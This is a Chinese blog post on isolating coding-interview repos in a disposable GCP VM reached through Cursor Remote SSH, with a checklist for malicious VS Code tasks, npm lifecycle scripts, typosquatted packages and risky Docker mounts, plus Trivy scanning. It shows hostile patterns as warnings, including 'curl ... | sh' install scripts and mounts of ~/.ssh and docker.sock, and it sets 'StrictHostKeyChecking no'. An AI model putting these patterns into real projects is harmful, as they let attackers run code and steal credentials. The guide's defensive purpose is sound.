面試環境設置指南 - GCP VM 與 Cursor Remote SSH 設定
Sam
2026年1月12日
•36 分鐘閱讀
前言

Latest Contagious Interview malware campaign abuses Microsoft VSCode Tasks
前陣子在社群看到一則貼文,在討論技術面試的時候,有些公司會在 Repo 放上惡意的套件,當開發者打開 Repo 的時候,就會被惡意套件感染,同時本地的金鑰、錢包憑證等敏感資料也會被竊取。很多文章都會提到:「面試時,該做環境隔離、不要在本地操作」,但整個流程實際上該怎麼做沒有被好好的說明,也因此也在思考自己在面試時,如何設定安全的環境。
在公司開發的時候,申請好內部的機器,也會自己走同樣的流程,(有時候開線自己沒有開編輯器,而是在 Terminal 介面打指令就是在做這些事情)。由於方便起見,因此也想來練習如何透過 Cursor 等遠端開發工具,在隔離的環境中進行開發。
前置準備
- 申請 GCP 帳戶
- 申請 GCP 專案
- 設定 Cursor / VS Code Remote SSH
1. GCP VM 建立設定
1.1 建立 SSH Key
根據 GCP 官方文件,首先需要建立 SSH Key:
ssh-keygen -t rsa -f ~/.ssh/KEY_FILENAME -C USERNAME

執行後會在 ~/.ssh 目錄下看到兩個檔案:
ls -la ~/.ssh
-rw-r--r-- 1 USERNAME USERNAME 2616 Jan 12 16:00 KEY_FILENAME
-rw-r--r-- 1 USERNAME USERNAME 604 Jan 12 16:00 KEY_FILENAME.pub
就像是鑰匙一樣,建立 SSH 連線時,會去比對公鑰和私鑰是否一致,如果一致的話,就可以建立 SSH 連線。
接著複製公鑰內容:
cat ~/.ssh/KEY_FILENAME.pub
## 會出現像是下面的內容
ssh rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs ...
接著要將這串公開鑰匙填入建立 VM 的步驟當中。

1.2 建立 VM Instance
如果還沒有使用過 GCP,可以參考 GCP 官方文件 來建立 VM。新帳戶會在半年內會有 300 美金的使用額度,或是常跑 GDG 的活動也可以拿到幾美金的優惠卷(小聲說 XD)。
在建立好 GCP 專案後,可以在後台介面建立一個 VM Instance,建議規格如下(以台灣為例):
- 區域 (Region):
asia-east1(台灣) - 機器規格 (Machine Type):
- 強烈建議:
e2-standard-2(2 vCPU, 8 GB RAM) - 警告:
e2-medium(4GB RAM) 在跑npm install或是編譯大型 Image 時容易發生 OOM (Out of Memory) 導致當機
- 強烈建議:
- 開機磁碟 (Boot Disk):
Ubuntu 22.04 LTS、SSD、建議 50GB - Service Account: 務必設定為 No access (無權限) 的專用帳號
📌 註記: 作業系統預設是使用 Debian,如果想要使用其他作業系統,需要在建立時切換成其他作業系統,不然會在安裝套件時出錯。
2. SSH 登入與系統初始化
2.1 SSH 登入
建立好 VM 之後,可以在 GCP Console 後台找到公開的 IP 地址,然後使用以下命令登入 VM (22 port、機器的 SSH 操作介面):
ssh -i ~/.ssh/your-key your-username@your-vm-ip
提示: 在 GCP 專案中,可以找到 VM 的公開 IP 地址,需要替換 your-vm-ip 為實際的 IP 地址。
如果成功登入,會發現使用者名稱改變,同時會出現 Ubuntu 的歡迎畫面。

2.2 系統初始化與 Docker 安裝
我們將使用官方的便利腳本來快速安裝 Docker Engine 與 Docker Compose,並安裝容器安全掃描工具 Trivy。
Step 1: 系統更新與 Git
# 更新系統
sudo apt update && sudo apt upgrade -y
# 安裝 Git 與基本工具
sudo apt install git curl wget -y
Step 2: 在 Ubuntu 上安裝 Docker (使用官方腳本)
接著我們需要安裝執行專案所需要的套件,例如:Git、Docker、Trivy 等,為了方便起見,通常都會使用 Docker Compose 來開啟專案,這邊的流程可以參考 Docker Compose 官方文件。
# 下載並執行 Docker 安裝腳本
# Add Docker's official GPG key:
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc
# Add the repository to Apt sources:
sudo tee /etc/apt/sources.list.d/docker.sources <<EOF
Types: deb
URIs: https://download.docker.com/linux/ubuntu
Suites: $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}")
Components: stable
Signed-By: /etc/apt/keyrings/docker.asc
EOF
sudo apt update
# 將當前使用者加入 docker 群組 (這樣執行 docker 指令就不需要加 sudo)
sudo usermod -aG docker $USER
# ⚠️ 注意:執行完上面這行後,必須登出再登入 (或是重新連線 SSH) 才會生效
Step 3: 安裝 Trivy (容器安全掃描工具)
Trivy 是目前業界標準的開源掃描工具,可以掃描 Repo 中的 Dockerfile 設定漏洞以及 Image 內的惡意軟體。更多資訊請參考 Trivy 官方文件。
1. 安裝必要工具
sudo apt-get install wget gnupg
2. 下載並加入 Trivy 的官方金鑰 (GPG Key)
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | gpg --dearmor | sudo tee /usr/share/keyrings/trivy.gpg > /dev/null
3. 加入 Trivy 倉庫 (Repository)
echo "deb [signed-by=/usr/share/keyrings/trivy.gpg] https://aquasecurity.github.io/trivy-repo/deb generic main" | sudo tee -a /etc/apt/sources.list.d/trivy.list
4. 安裝 Trivy
sudo apt-get update
sudo apt-get install trivy -y
3. Cursor Remote SSH 設定
在本地開發時,可以使用 Cursor 的 Remote SSH 功能連線到 VM,享受遠端開發的便利性。
3.1 安裝必要插件
在本機 Cursor 安裝以下插件:
Remote - SSHDev Containers(選用)
3.2 設定 SSH 連線

步驟:
- 在 Cursor 按下
Cmd+Shift+P(Mac)或Ctrl+Shift+P(Windows/Linux) - 輸入
Remote-SSH: Add New SSH Host... - 選擇 SSH 設定檔位置(通常是
~/.ssh/config) - 貼上以下內容並保存:
Host 專案名稱
HostName 公開的 IP 地址
User 你的使用者名稱
IdentityFile ~/.ssh/你的金鑰檔案
StrictHostKeyChecking no
ForwardAgent no
3.3 連線並開始開發

設定完成後,就可以在 Cursor 的 Remote Explorer 中找到設定好的 Host 並連線。
Port Forwarding 自動偵測:
執行 docker compose up -d 或是 npm run dev 後,Cursor 會自動偵測運行中的服務端口,您可以直接在本地瀏覽器輸入 http://localhost:3000 來查看應用畫面。
3.4 CI/CD 後續及其他設定
通常在推完 commit 之後,會進一步的設定 gitlab runner 或是在 Vercel 等平台設定自動化部署流程,與平常的開發流程是相同的,因此在這邊就不多贅述。
4. 面試專案檢核流程 - 三層防護網
成功連線並 Clone 專案前,千萬不要習慣性地馬上輸入 git clone 或是 npm install 或 docker compose up。請依照以下「三層防護網」進行檢查:
4.1 第一層:IDE 設定檔檢查(最容易被忽略)
攻擊者常利用 VS Code 的自動化功能,只要你用編輯器打開資料夾,惡意腳本就會在背景執行。
檢查項目:
-
檢查
.vscode資料夾- 在 Cursor 的檔案總管中,查看根目錄是否有
.vscode資料夾
- 在 Cursor 的檔案總管中,查看根目錄是否有
-
檢視
tasks.json- 尋找是否有設定
runOptions: { "runOn": "folderOpen" } - 這代表一打開資料夾就會自動執行指令(例如偷取你的 SSH Key 上傳到遠端)
- 尋找是否有設定
-
檢視
extensions.json- 是否有推薦安裝不明的擴充套件
4.2 第二層:應用程式相依性檢查(Package.json)
這是前端詐騙最常見的區域。
檢查 scripts 欄位:
特別注意 preinstall、postinstall 或 install。
🚨 危險訊號:
{
"scripts": {
"preinstall": "curl http://... | sh" // ❌ 在安裝套件前下載並執行外部腳本
}
}
檢查 dependencies(Typosquatting 攻擊):
攻擊者會上傳名稱很像熱門套件的惡意包。
常見範例:
- ❌
react-dom-render(假)vs ✅react-dom(真) - ❌
colors.js(曾被植入惡意迴圈) - ❌
expresvs ✅express - ❌
loadshvs ✅lodash
檢查剛發布的套件:
如果看到某個依賴的版本號很新,但該套件本身卻沒什麼名氣,需提高警覺。
4.3 第三層:基礎設施檢查(Docker & Trivy)
確認程式碼沒有明顯問題後,再檢查容器設定,確保隔離環境不會被突破。
靜態檢查 Dockerfile & Compose:
🚨 Volume 掛載檢查:
- ❌
- /:/host(掛載整個根目錄,駭客可直接存取 VM 檔案系統) - ❌
- /var/run/docker.sock:/var/run/docker.sock(讓容器可以控制外部 Docker Daemon) - ❌
- ~/.ssh:/root/.ssh(試圖竊取 VM 內的憑證)
🚨 惡意指令:
- ❌
RUN curl ... | sh(下載不明腳本執行)
使用 Trivy 進行掃描:
在 VM 的 Terminal 執行以下指令,讓工具幫你找出漏洞。
# 掃描專案目錄下的設定檔 (IaC Scanning)
trivy config .
# 掃描檔案系統 (檢查是否有已知的惡意檔案特徵)
trivy fs .
# 掃描特定嚴重程度的漏洞
trivy fs --severity HIGH,CRITICAL .
4.4 安全執行流程
確認以上三層檢查都沒問題後,才能開始執行:
# 對於 Node.js 專案,使用 --ignore-scripts 避免執行 lifecycle scripts
npm install --ignore-scripts
# 對於 Docker 專案
docker compose up --build
5. 安全防護黃金守則
針對「如何防範陌生 Repo」,可以歸納為以下 5 個黃金防禦守則:
5.1 物理隔離:拋棄式沙盒 (Disposable Sandbox)
原則: 不要在自己的電腦(Mac/Windows)上直接 Clone 專案。
作法: 一律在 GCP VM 或是 Docker 容器內操作。
理念: 假設這個環境隨時會中毒,所以裡面不放任何個人憑證或重要檔案。
5.2 靜態審查:先看再跑 (Inspect Before Executing)
原則: 下載專案後,絕對不要習慣性馬上輸入 npm install 或 docker up。
檢查點:
.vscode/tasks.json:有無自動執行的惡意腳本?package.json:有無奇怪的preinstall指令或拼寫錯誤的依賴包?Dockerfile:有無掛載根目錄 (-v /:/host) 或惡意 Base Image?
工具: 使用 Trivy 進行自動化掃描。
5.3 連線衛生:阻斷回連 (Connection Hygiene)
原則: 切斷 VM 反向攻擊本機的橋樑。
作法:
- SSH 設定:確認
ForwardAgent no,防止惡意程式借用你的身份竊取 GitHub 私人倉庫 - 瀏覽器預覽:使用無痕模式 (Incognito) 開啟
localhost:3000,防止惡意網頁竊取本機 Cookie
5.4 操作紀律:剪貼簿隔離 (Clipboard Discipline)
風險: 防止「剪貼簿綁架 (Pastejacking)」。
作法: 從 VM 複製出來的指令,永遠不要直接貼上本機 Terminal。先貼到記事本確認內容無誤。
5.5 徹底銷毀:不留後患 (Total Destruction)
作法: 面試或測試結束後,執行 Delete VM 並勾選 Delete Boot Disk。
目的: 確保惡意程式沒有任何潛伏機會,同時停止計費。
6. 快速檢查清單
在開始任何專案開發前,請依序完成以下檢查:
- 已在 GCP VM 上進行操作(非本機)
- 已檢查
.vscode/tasks.json無自動執行腳本 - 已檢查
package.json的scripts欄位無可疑指令 - 已檢查
dependencies無拼字錯誤(typosquatting) - 已檢查
Dockerfile和docker-compose.yml無危險的 Volume 掛載 - 已執行
trivy config .和trivy fs .掃描 - SSH 設定中已設置
ForwardAgent no - 使用無痕模式瀏覽本地 Port Forward 的網頁
- 確認測試結束後會刪除 VM、儲存空間
7. 總結
這篇的目的是想要讓大家在面試時,能夠有一個基本的防護網,避免在面試時被植入惡意程式。當然,這篇的內容並不是完整的防護網,只是希望大家在面試時,能夠有一個基本的防護網。
同時這段流程的專有名詞偏多,自己也是花了大概十幾二十個小時的課程,才習慣 Server 設定的流程,這篇推薦過去上課的內容:Full Stack V3 。